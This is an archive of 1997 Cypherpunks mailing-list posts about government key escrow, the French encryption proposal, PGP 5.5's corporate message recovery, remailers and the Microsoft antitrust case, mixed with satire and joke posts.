> Wow!  I've, come up in the world.  Someone is forging headers with my name.
> I bask in the social acceptance of it all.
> 
> At 4:16 PM -0700 10/18/97, Bill Frantz wrote:
> >TluthMonglel wrote:
> >>                  WAKE UP CPUNX AMERICA!
> >>   The Commies have infiltrated the CPUNDITS Distributed Remailer system.
> >> Igor's secret agenda is to translate 'Distributed' into "From each, as
> >> he is able...to each, according to his need."
> >...
> >>   Ever try to get
> >> a message from the list at 4 a.m.? They are few and far between. Even
> >> when you create your own message and send it to the list, the CDR List
> >> Masters force you to share it with everyone else.
> >> ("Who will help me write the message, said the Little Red Hen?")
> >
> > I agree. Next thing you know, we will be receiving our messages from
> >the socialist CDDR list.
> >  I put a lot of thought, time and effort into my posts, and I resent
> >having to share them with the lurkers who add nothing to the list.
> >  From now on I will be sending my posts to the list only to myself.
> >
> >God Bless America
> >-------------------------------------------------------------------------
> >Bill Frantz       | The Internet was designed  | Periwinkle --
> >Consulting
> >(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
> >frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032,
> >USA
> 
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQB1AwUBNExUqNQgMXPCzT+1AQG+sAL+Oh8mx7o+5CMASPwuMA01ieQ8JtOx1Tm2
> nfclzvbkIPcx78yZbyW8RK5ROUgGiQOWyqf+ANIALzqYaIbzWMNV2lLI+Kdac96S
> B3eyiEW6ixDTelKq2rD055uXbbwHg9Ng
> =S4kv
> -----END PGP SIGNATURE-----
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 21 Oct 1997 23:37:48 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: everybody wants a piece of Microsoft's monopoly
In-Reply-To: <3.0.2.32.19971021102457.035d2f8c@panix.com>
Message-ID: <199710211524.LAA31327@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <3.0.2.32.19971021102457.035d2f8c@panix.com>, on 10/21/97 
   at 10, Duncan Frissell <frissell@panix.com> said:

>At 01:20 PM 10/21/97 +0200, Zooko Journeyman wrote:
>>
>>I mean, _sure_ Microsoft is an oppressive monopoly, but then 
>>what the hell is the USG?  
>>
>>
>>Zooko

>True enough.  In addition, look at the business press in the last few
>days for stories on other "Monopolies" of the past.  IBM is suing someone
>for dissing their stock value.  AT&T can't figure out how to pick a new
>CEO or figure out what to do with their business once they get one.  ITT
>arranged a friendly sale of its hotels to avoid a Hilton hostile
>takeower.  Harold Geneen's "Conglomerate" (remember that word?) now
>consists of a company whose sole business is the publication of foreign
>telephone directories.  

>Remember when economic experts said that AT&T, IBM, ITT, GM, etc. were
>too big and powerful to ever be defeated.  That Capitalism was over.


This is just another shakedown. I would imagine that the Gore/2000 slush
fund is getting low or perhapse the Clinton Defence Fund.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 21 Oct 1997 22:49:58 +0800
To: Zooko Journeyman <iang@systemics.com
Subject: Re: everybody wants a piece of Microsoft's monopoly
In-Reply-To: <199710211120.NAA06784@xs2.xs4all.nl>
Message-ID: <3.0.2.32.19971021102457.035d2f8c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:20 PM 10/21/97 +0200, Zooko Journeyman wrote:
>
>I mean, _sure_ Microsoft is an oppressive monopoly, but then 
>what the hell is the USG?  
>
>
>Zooko

True enough.  In addition, look at the business press in the last few days for stories on other "Monopolies" of the past.  IBM is suing someone for dissing their stock value.  AT&T can't figure out how to pick a new CEO or figure out what to do with their business once they get one.  ITT arranged a friendly sale of its hotels to avoid a Hilton hostile takeower.  Harold Geneen's "Conglomerate" (remember that word?) now consists of a company whose sole business is the publication of foreign telephone directories.  

Remember when economic experts said that AT&T, IBM, ITT, GM, etc. were too big and powerful to ever be defeated.  That Capitalism was over.

DCF 

----
The Maid Marion - "You speak treason!"
Sir Robin of Locksley - "Fluently!"
  -- From the politically incorrect movie version





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rka2@hotmail.com (Rka2@hotmail.com)
Date: Wed, 22 Oct 1997 08:47:57 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <78751968@ccw.net>
MIME-Version: 1.0
Content-Type: text/plain



To: rka2@hotmail.com
From: rka2@hotmail.com
Subject: Simple
Reply-to:rka2@hotmail.com
Comments: Authenticated sender is <rka2@hotmail.com>
Received: from hotmail.com (hotmail.com [000.000.000.000]) by hotmail.com (0.0.0./0.0.0.) with SMTP id AAA000000 for <rka2@hotmail.com>; Tue, 30 Sep 1997 23:37:27 -0500 (EST)
Message-Id: 0000000000.AAA000@hotmail.com
X-UIDL: 54956195511931597781388792848969

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 22 Oct 1997 03:30:17 +0800
To: aba@dcs.ex.ac.uk
Subject: Re:  GAK "service" charges (Re: EC refutes GAK)
In-Reply-To: <87745892226677@cs26.cs.auckland.ac.nz>
Message-ID: <v03102801b072ad20e08e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:35 AM -0700 10/22/97, Peter Gutmann wrote:
>Adam Back <aba@dcs.ex.ac.uk> writes:
>>Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
>>>[multiple terabyte CDrom based keying material]
>>Reckon they'll twig, and charge you per megabyte to offer you the "service"
>>of allowing them to "recover" your communications in real time.
>
>Yes, but how will they phrase the requirements?  A CD is a single key (in
>fact
>1,000 CD's are all part of a single key)... this leads to the same problem I
>heard of here a few years ago w.r.t. outlawing gangs: "It would be impossible
>to word any comprehensive anti-gang legislation in a manner which didn't also
>outlaw the police".  The same goes for certain aspects of escrowing, any
>escrow rules which are in any way practical and useable will also be open to
>all sorts of creative interpretation ("You must deposit a copy of your
>encryption key with the government" -> "Here's the key.  Where can I park the
>forklift that moves the container of CD's?").

I fully agree with Adam that GAK/GMR will not be free. (This is, in fact,
one of my biggest objections to GAK/GMR, that it interferes with the
transient and frequent generation of keys for varied purposes.) Nothing
involving the government is free.  TANSTAAFL--there ain't  no such thing as
a free license.

As to "how will they phrase the requirements?," they'll do it as they do it
so many areas. The _form_ of the allowable crypto will be specified...the
GAK/GMR requirement is a lot more than just a nebulous statement that
"real-time access to keys must be possible."

(Else one could say, "Hey, but my keys _are_ available on a real-time
basis...provided you guys know how to dock with the satellite up in orbit
that carries them--yuk yuk yuk.")

Parallels exist in many areas. A tax form must be filled out in certain
ways, a building permit must conform to certain specifications, and various
licenses are in certain required forms.

A fee, probably on the order of $50/year, with the usual subsidies for poor
people, etc., will stop the "flooding attacks" (which Peter's is a variant
of). Limits on the sizes of the keys will fall out of the actual form
GAK/GMR must take.

I expect GAK will require something like a driver's license, a gun license,
or fishing license. A form to be filled out, a fee to be paid, and spot
checks to ensure compliance (as when a Fish and Game boat pulls alongside
to do a random check of one's catch--note that no search warrant is needed,
at least not in the U.S.).

Whether random checks of e-mail will be admissable under the U.S. First
Amendment, and Fourth, is debatable...this will likely be a core part of
the court challenges to GAK/GMR when it is put into law. Whereas there is
at least some slight amount of plausibility to the claim that "driving is a
privilege, not a right," which is the justification for otherwise-intrusive
inspections of automobiles on the roads, there is no such plausible
argument for saying speech is a privilege and not a right. Not so long as
the First Amendment remains in effect. (Notwithstanding various
chippings-away of it.)

The situation in Australia, New Zealand, Europe, Asia, etc. is probably
different.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 21 Oct 1997 18:36:21 +0800
To: cypherpunks@toad.com
Subject: French GAK
Message-ID: <199710211025.MAA26531@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



   Wall Street Journal, October 20, 1997:

   French Proposal For Encryption Is Worrying EC 

   By Jennifer L. Schenker

   A proposed French law ensuring government access to
   corporate electronic communications is setting off alarm
   bells in the business community and on the European
   Commission.

   France, presenting the law as a liberalization of its
   current policy, is the only Western country that bans any
   domestic use of cryptography - technology that encodes data
   for protection against prying eyes. France also places
   strict controls on the export of encryption tools, a
   restriction imposed by certain other countries, including
   the U.S.

   The new rules, submitted to the European Commission on
   Thursday, allow businesses operating in France to encode
   their corporate secrets but require that keys to unlock the
   code be given to a French government-approved entity in
   which the majority of the capital or votes is retained by
   French nationals.

   Microsoft Corp., Netscape Communications Corp. and the
   Business Software Association have raised objections to the
   French proposal. The BSA represents major international
   software publishers and high-tech companies, including
   Novell Inc., Compaq Computer Corp., Apple Computer Inc. and
   Lotus, a unit of International Business Machines Corp. The
   proposal also requires companies selling products with
   embedded encryption software in France to reveal "source
   code" - the rough equivalent of asking Coke to reveal its
   secret formula. Some believe that such a key-recovery
   system would make it easier for competitors to gain access
   to a company's secrets.

   The BSA's European chapter is expected to release a public
   statement this week supporting the European Commission's
   decision earlier this month to reject the key-recovery
   approach to encryption, which is championed by both the
   U.S. and France.

   The commission, which will formally comment on the French
   proposal by month's end, is concerned partly because the
   French ownership requirements may violate internal market
   rules.

   "I do not say this is the best system. It is the least bad
   in trying to find a balance between national-security
   interests, economic interests and the protection of
   personal privacy," said Gen. Jean-Louis Desvegnes, chief of
   France's Central Service for the Security of Information
   Systems, a civilian agency that reports directly to the
   French prime minister's office. He indicated that France
   might be flexible on the ownership requirements.

   -----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Wed, 22 Oct 1997 01:52:21 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: PGP, CMR, and OpenPGP
Message-ID: <2328C77FF9F2D011AE970000F84104A74933C1@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



As a Corporate Security Officer, I personally would prefer a solution
like Adam Back's CDR that leaves the copy of the corporate data on the
user's hard drive to the current PGP CMR.  As long as the email data
didn't need to be encrypted during local storage (i.e. encrypted against
the possibility of industrial espionage), I wouldn't care whether the
copy of the corporate data was encrypted -- actually it would be a lot
easier to leave it in plain text (as I think Tim May suggested).  (A
single file in Unix mail(1) file format would make a nice
auditing/reporting tool, so you could remember what you had sent to whom
all in one place.)

Corporate keys as in PGP CMR just means another key to manage that
provides a single point of weakness in the company's security
architecture.  Without forcing everyone to run on a secure OS on
hardware they can't directly access (i.e. no desktop computers), any
additional security provided by a CMR system (as in providing
unalterable records of encrypted email that was sent) can be easily
bypassed.

OpenPGP, meanwhile, should work on non-GAK/CAK solutions, while PGP Inc.
should come up with a new product name (like 'BizSecure' only less
whimsical) for its line of corporate encryption programs.  (It might
even be better business for PGP to set up a wholly-owned subsidiary,
whose name does not even incorporate the term 'PGP' or its derivatives,
for marketing such products, as those products would not be tainted by
personal privacy reputation of the name 'PGP'.)  'BizSecure' and its
kindred would then interoperate with OpenPGP standards only to the
extent of the common non-GAK/CAK functionality of the two systems.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is 'Don't Tread on
Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Wed, 22 Oct 1997 02:01:52 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: Re: Remailers and ecash (fwd)
Message-ID: <2328C77FF9F2D011AE970000F84104A74933C2@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Picking up a thread of a few weeks ago (sometimes life intervenes)...

What I propose is:
	employee -> encryptor -> email -> remailer -> delivermail ->
recipient -> decrypt
which forces the opponent to both monitor traffic much more closely (to
get around the traffic analysis-resistance of remailers) and to decrypt
the actual messages.  The point being to force the opponent to employ
other, less safe (more chance of discovery) techniques, like bribing
your employees or sending in agents as employees of the cleaning
company, etc., etc.   This use of remailers I think could be worth money
to corporations.

Unless you are a truly huge corporation, you are not going to be in a
position to set up private email links with everyone you need a private
email link to.  Using the Internet, while deploying security measures
appropriate to the application, is just too cost-effective.  My proposal
is just that using encryption and remailers together gives you more
security than either technique will alone, perhaps enough that
commercial remailers could flourish.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 21 Oct 1997 19:29:25 +0800
To: iang@systemics.com
Subject: everybody wants a piece of Microsoft's monopoly
Message-ID: <199710211120.NAA06784@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



If you thought Microsoft and Bill Gates were bad for the
evolution of our precious technology, you'll _love_ the
new "Guvsoft", lead by everyone's favorite businesswoman
Janet Reno.


The race to see who can play "Little Mister Gates" best
and earn a cut of the action is accelerating.  Pundits
are already taking bets on Scott "Now Selling Licenses 
For 100% Pure Anything-Non-Microsoft" McNealy, Steve
"Competition Is Great As Long It Doesn't Actually Affect Us"
Jobs, and Janet "I've Already Demonstrated My Grasp Of Tactics
And Tact" Reno.



I mean, _sure_ Microsoft is an oppressive monopoly, but then 
what the hell is the USG?  


Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: adri <adrimacedo@rocketmail.com>
Date: Tue, 21 Oct 1997 21:32:43 +0800
To: cypherpunks@toad.com
Subject: tell me more...
Message-ID: <344D14F2.3EAC@rocketmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi! I just loved +The Plot, Thickening;, it4s great!
I4m from Portugal and I4m very concerned about these kind of problems
nowadays.
I think we4re coming to state of apocalyptic brainstorm, I think it4s
also simtomatic. 
Please send news because I became curious about cyberstuff.
Email me to adrimacedo@rocketmail.com
Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Tue, 21 Oct 1997 19:01:13 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [news] U.S. urged to do more to fight computer threats
Message-ID: <199710211604.QAA00254@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** U.S. urged to do more to fight computer threats

A presidential panel is urging the government to increase its efforts
to combat computer terrorism, including doubling current spending of
$250 million by fiscal year 1999, the Washington Post said Tuesday.
The panel said annual federal spending to prevent hackers from using
computer networks to sabotage U.S. infrastructure and ensure computer
safety should reach $1 billion by 2004. The President's Commission on
Critical Infrastructure Protection, established a year ago after a
Justice Department review of vulnerability to terrorism, delivered a
classified 269-page report to the White House Monday, the Post said.
For story
http://www.infobeat.com/stories/cgi/story.cgi?id=5535558-766

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 22 Oct 1997 04:43:06 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: SMTP Encryption Exten
Message-ID: <199710212104.QAA11860@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:ericm@lne.com to Harka <=-

 In> If your mail goes to an intermediate MX site, it'll sit in the
 In> clear on the disk there until its sent to its final
 In> destination.  Even if all mailers supported ssmtp, the mail
 In> would not be secure.

True, but an encrypted tunnel to fetch your e-mail will at least
render wiretaps on your phone-line useless. While that doesn't
really matter if all your e-mail is PGP-encrypted, the truth is that
a lot of e-mail is still in the clear. That at least would be
protected to a degree...

Btw., does anybody know if there's an crypto-enhanced direct-dial-up
program such as minicom out there?

Ciao

Harka

... "Use a Cipher - Be Free!"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNE0TyjltEBIEF0MBAQEsawf/SyzCJ5vHC9gvn9aX4Efuxt9rNe6UqXoh
78ZpKba5X0QvkvPyG+4TAopLZUXL5Qjs5TKQmEhBcCnw4+bHv36T4nzaDPNKsD39
RFtCddWgpF1pIUQ7GIdY/mMTh5UGMibXgqU9Z1kZKP0j8pJJPn4aK1uSas+Yne69
/OdDX3PBBgbw66DxOqjdE6+pC0v5LS1janXUuEMXo8nV1MfpBnStI9ORAcyNeCtu
H8KlnQcLwUhuEnTn/VeEwRZJIFPf3hUFcuxVdcooHgqDbY9d+zbSsFiqVE3EyMji
bSiBTMK9N/jQ7VFllhkqLihJbA/Q27KP4M6hV4NMqDdh3Sfv6Bd7iw==
=jbpL
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 21 Oct 1997 22:58:22 +0800
To: cypherpunks@toad.com
Subject: Dark is faster than Light
Message-ID: <199710211444.QAA23779@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



             Bell Labs Proves Existence of Dark Suckers

     For years it has been believed that electric bulbs emitted light.
However, recent information from Bell Labs has proven otherwise. 
Electric
bulbs don't emit light, they suck dark.  Thus they now call these bulbs
dark suckers.  The dark sucker theory, according to a Bell Labs
spokesperson, proves the existence of dark, that dark has mass heavier
than
that of light, and that dark is faster than light.
     The basis of the dark sucker theory is that electric bulbs suck
dark.
Take for example, the dark suckers in the room where you are.  There is
less dark right next to them than there is elsewhere.  The larger the
dark
sucker, the greater its capacity to suck dark.  Dark suckers in a
parking
lot have a much greater capacity than the ones in this room.  As with
all
things, dark suckers don't last forever.  Once they are full of dark,
they
can no longer suck.  This is proven by the black spot on a full dark
sucker.  A candle is a primitive dark sucker.  A new candle has a white
wick.  You will notice that after the first use, the wick turns black,
representing all the dark which has been sucked into it.  If you hold a
pencil next to the wick of an operating candle, the tip will turn black
because it got in the path of the dark flowing into the candle.
     Unfortunately, these primitive dark suckers have a very limited
range.
There are also portable dark suckers.  The bulbs in these can't handle
all
of the dark by themselves, and must be aided by a dark storage unit. 
When
the dark storage unit is full, it must be either emptied or replaced
before
the portable dark sucker can operate again.
     Dark has mass.  When dark goes into a dark sucker, friction from
this
mass generates heat.  Thus it is not wise to touch an operating dark
sucker.  Candles present a special problem, as the dark must travel in
the
solid wick instead of through glass.  This generates a great amount of
heat.  Thus it can be very dangerous to touch an operating candle.  Dark
is
also heavier than light.  If you swim deeper and deeper, you notice it
gets
slowly darker and darker.  When you reach a depth of approximately fifty
feet, you are in total darkness.  This is because the heavier dark sinks
to
the bottom of the lake and the lighter light floats to the top.  The
immense power of dark can be utilized to mans advantage.  We can collect
the dark that has settled to the bottom of lakes and push it through
turbines, which generate electricity and help push it to the ocean where
it
may be safely stored.  Prior to turbines, it was much more difficult to
get
dark from the rivers and lakes to the ocean.  The Indians recognized
this
problem, and tried to solve it.  When on a river in a canoe travelling
in
the same direction as the flow of the dark, they paddled slowly, so as
not
to stop the flow of dark, but when they traveled against the flow of
dark,
they paddled quickly so as to help push the dark along its way.

     Finally, we must prove that dark is faster than light.  If you were
to
stand in an illuminated room in front of a closed, dark closet, then
slowly
open the closet door, you would see the light slowly enter the closet,
but
since the dark is so fast, you would not be able to see the dark leave
the
closet.

     In conclusion, Bell Labs stated that dark suckers make all our
lives
much easier.  So the next time you look at an electric bulb remember
that
it is indeed a dark sucker.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 22 Oct 1997 05:33:37 +0800
To: cypherpunks@toad.com
Subject: Bill Gates, the Bully Savior, from The Netly News
Message-ID: <v03007806b072ca42bbed@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



*****************

http://cgi.pathfinder.com/netly/opinion/0,1042,1517,00.html

The Netly News Network (http://netlynews.com/)
October 21, 1997

Bill Gates, the Bully Savior
by Declan McCullagh (declan@well.com)

     When the Justice Department yesterday accused
Microsoft of using its operating system near-monopoly
to violate the law, the government did more than
attack the world's largest software company. It also
handed Microsoft's chief competitor, Netscape, a major
business -- and political -- victory.

     Netscape has long been urging the Clinton
administration to rein in Bill Gates. For years its
lobbyists have bent the ears of powerful Washington
policymakers. And, unlike many other Silicon Valley
chiefs, Netscape's Jim Barksdale -- a veteran of such
highly regulated companies as Federal Express and
McCaw Cellular -- appears to truly understand how
Washington works. So was Janet Reno motivated by
politics, or law?

     "Fundamentally, I think it's a legal issue," says
Ed Black, president of the Computer and Communications
Industry Association. "But to say whenever the
wealthiest man in America and one of the most powerful
companies in America is challenged by a cabinet
official, you can't say there's no political impact.
You're in a political world at that level."

     When asked to name the most pressing issues
Netscape faces in Washington, company lobbyists rattle
off a long list of topics from encryption to copyright
and education. But antitrust has always topped the
list. This, after all, is the company's primary policy
goal: to stop what it considers to be Microsoft's
predatory practices. "This is not a Netscape-Microsoft
issue," says Netscape's public policy counsel Peter
Harter. "This is not a browser war. This is about
obeying the law."

     Perhaps. But clearly Netscape has been
complaining to the government about Internet Explorer
since the Microsoft browser first hit the Net.
Naturally, the company cheered Janet Reno's suggestion
that Microsoft be punished with a fine of up to $1
million a day. "We're very supportive of the actions
the Department of Justice has taken," Roberta Katz,
Netscape's chief counsel, told the Netly News last
night. "This lawsuit is about preserving competition
as we move to the era of digital commerce."

     It is, of course, also an efficient way for
Netscape to protect its commanding share of the
browser market. "Bill Gates is a successful rival who
makes it difficult for others to do business. Rather
than compete against him head to head in the market,
competitors turn to antitrust laws," says Don
Boudreaux, a professor of law and economics at Clemson
University. "What people at Netscape probably don't
like is the fact that Internet Explorer is a good
product."

     Netscape has slowly been emerging as the grand
marshal in the Everyone But Microsoft parade. Last
year Netscape hired the heavyweight Silicon Valley law
firm of Wilson, Sonsini, Goodrich & Rosati, whose
partner Gary Reback is a veteran anti-Microsoft
campaigner. In November 1994 Reback prepared -- after
a request from the Department of Justice, which was
investigating Microsoft -- a 100-page white paper on
behalf of three anonymous high tech clients. The
theme: Microsoft's apparent anticompetitive behavior.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 21 Oct 1997 23:42:35 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks Related (?) or merely about DC in general?
Message-ID: <199710211532.RAA28678@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 Q. How did Sir Alexander Fleming change Spain's
bullfighting?
 A. Before he invented penicillin, countless toreros died
of infected wounds. After, even the smallest arenas were
equipped with penicillin syringes. And the performances
became much more exhilarating. Said one cape artist: "Now
I can stand closer to the bull."

http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 22 Oct 1997 09:13:29 +0800
To: ietf-open-pgp@imc.org
Subject: PGP 5.5 CMR key examples, mini-review
Message-ID: <199710220101.SAA21646@ideath.parrhesia.com>
MIME-Version: 1.0
Content-Type: text/plain




An acqaintance of mine received an evaluation copy of the new PGP For
Business Security 5.5 suite, and I was able to generate some test keys to
play with the message recovery features. I've uploaded them to the cert
servers so folks with the 5.0 client software can experiment with them for
interoperability, etc.

The recovery key is "Little Brother <snoop@localhost>", fingerprint 26A5
667A 97D4 7018 1B18  2B15 D631 4776 B670 E1D0; a test user whose incoming
and outgoing mail is forced to include the recovery key is "CMR User
<snooped@localhost>, fingerprint EC79 A170 8BAE 60A1 3CAC  C517 34A4 6056
EE42 30E3. Both keys are 768-bit DH keys, as I don't expect that anyone
will use them for anything other than testing.

Installation of the package involves multiple steps - there's an
"administrator install package" (my term, not theirs), which installs a
version 5.5 of PGP, including the PGPTools, PGPKeys and PGPTray apps, as
well as a PGPAdmin program. To implement CMR, the ordinary PGPKeys app is
used to create an otherwise ordinary PGP key pair; the administrator then
runs the PGPAdmin app, which asks questions about security/recovery policy.
The admin can force incoming messages to use a recovery key, can force
outgoing messages to use a recovery key, can enable/disable conventional
encryption, can enable/disable key generation (and RSA key generation), can
force a key to be trusted and to act as a trusted meta-introducer. The
admin can also force the user to use a strong passphrase. (PGP 5.5 includes
a neat passphrase-strength-meter which changes depending on the length and
apparent alphabet-space used in the passphrase for user keys.) Finally, the
admin can force the user to sign/trust a designated Corporate Signing Key.

After the administrator sets those policy choices, the PGPAdmin tool can be
used to generate a customized installer application for distribution to
users. That installer creates a local copy of PGP, which will enforce the
policy choices made by the administrator. The user is warned upon key
generation that a message recovery key will be used (if the app is thus
configured) and that the behavior isn't optional. The recovery key ID is
displayed but not modifiable.

The user interface for 5.5 is much improved over that in 5.0, which was a
big improvement over the command line. There's an indicator (initially
preferenced to OFF, along with other information) in the PGPKeys
application which marks CMR'd keys with a red button; the interface between
PGPKeys and the key server is much improved. It's now possible to mark &
retrieve many unknown keys, then approve adding them to the local keyring
in one step, instead of approving the addition of each additional key. The
icons & screen design have been updated and are now more colorful and
easier to decipher.

When a user with CMR-only client software encrypts data, the ID of the
recovery key appears in the "encrypt to" box, and cannot be dragged out. A
CMR-client will (apparently) still do conventional encryption with no
recovery key if the admin allows this. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 22 Oct 1997 09:12:34 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: wanted dead or alive: pgp5.5 key pair
In-Reply-To: <199710212334.AAA02249@server.test.net>
Message-ID: <v03102800b073014e9617@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:34 PM -0700 10/21/97, Adam Back wrote:
>Could some kind soul who has downloaded pgp5.5 for business (I think
>it is available in the US from www.pgp.com) create a key with a CMR
>key extension.
...
>Enciphering minds want to find out how pgp5.0 reacts to this key :-)
>
>(The question is really does pgp5.0 encrypt to the CMR key).

Why not just try to send a message to "phil@pgp.com"?

Surely PGP, Inc. is itself using its own product?

(I know if I were Jon Seybold and I had a radical"No nukes" nut like Phil
on my staff, :-), I'd want to monitor what he was saying to people and what
they were saying to him.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Wed, 22 Oct 1997 02:16:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP, CMR, and OpenPGP
In-Reply-To: <2328C77FF9F2D011AE970000F84104A74933C1@indyexch_fddi.indy.tce.com>
Message-ID: <slrn64prv2.1c7.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Fisher Mark wrote:
>OpenPGP, meanwhile, should work on non-GAK/CAK solutions, while PGP Inc.

Done. Read ftp://ftp.iks-jena.de/pub/mitarb/lutz/crypt/software/pgp/
                                 draft-ietf-pgp-formats.current.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 22 Oct 1997 07:10:34 +0800
To: cypherpunks@cyberpass.net
Subject: re: index.html
Message-ID: <ad0256ff327fd612849f4f8edb8df763@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>                   U.S. SAID VULNERABLE TO COMPUTER ATTACK
>                                      
>    "Today, the right command sent over the Internet to a power
>    generating station's control computer could be just as effective as
>    a backpack full of explosives and the perpetrator would be harder to
>    identify and apprehend," the panel wrote in its executive summary to
>    the report.

"Today, we decided to hook up the computer that controls the power supply
of several states to the most hostile WAN in history.  OMIGOD, THERE'S
AN INSECURE POWER GENERATION CONTROL COMPUTER HOOKED UP TO THE INTERNET!
Everyone in the US, $2 please, so we can fix it."

>    
>    The report recommends stepping up research and establishing a
>    nationwide program to educate people on the scope of the problem. It
>    also recommends revising existing laws to ensure protection against
>    electronic attacks through the Internet.
>    

This sounds like a bad cyberpunk novel.  Two crackers in some hotel room
in a hyper-crowded city in Japan, hacking the "power control network".
Suddenly, one of them stops and says, "Shit."  The other looks up,
startled.  The first says, "I forgot.  This is against the law."  A
pause.  Then they both start rolling around a floor covered with anti-
static bags, polystyrene, and fast-food cartons laughing until they turn
blue.

>
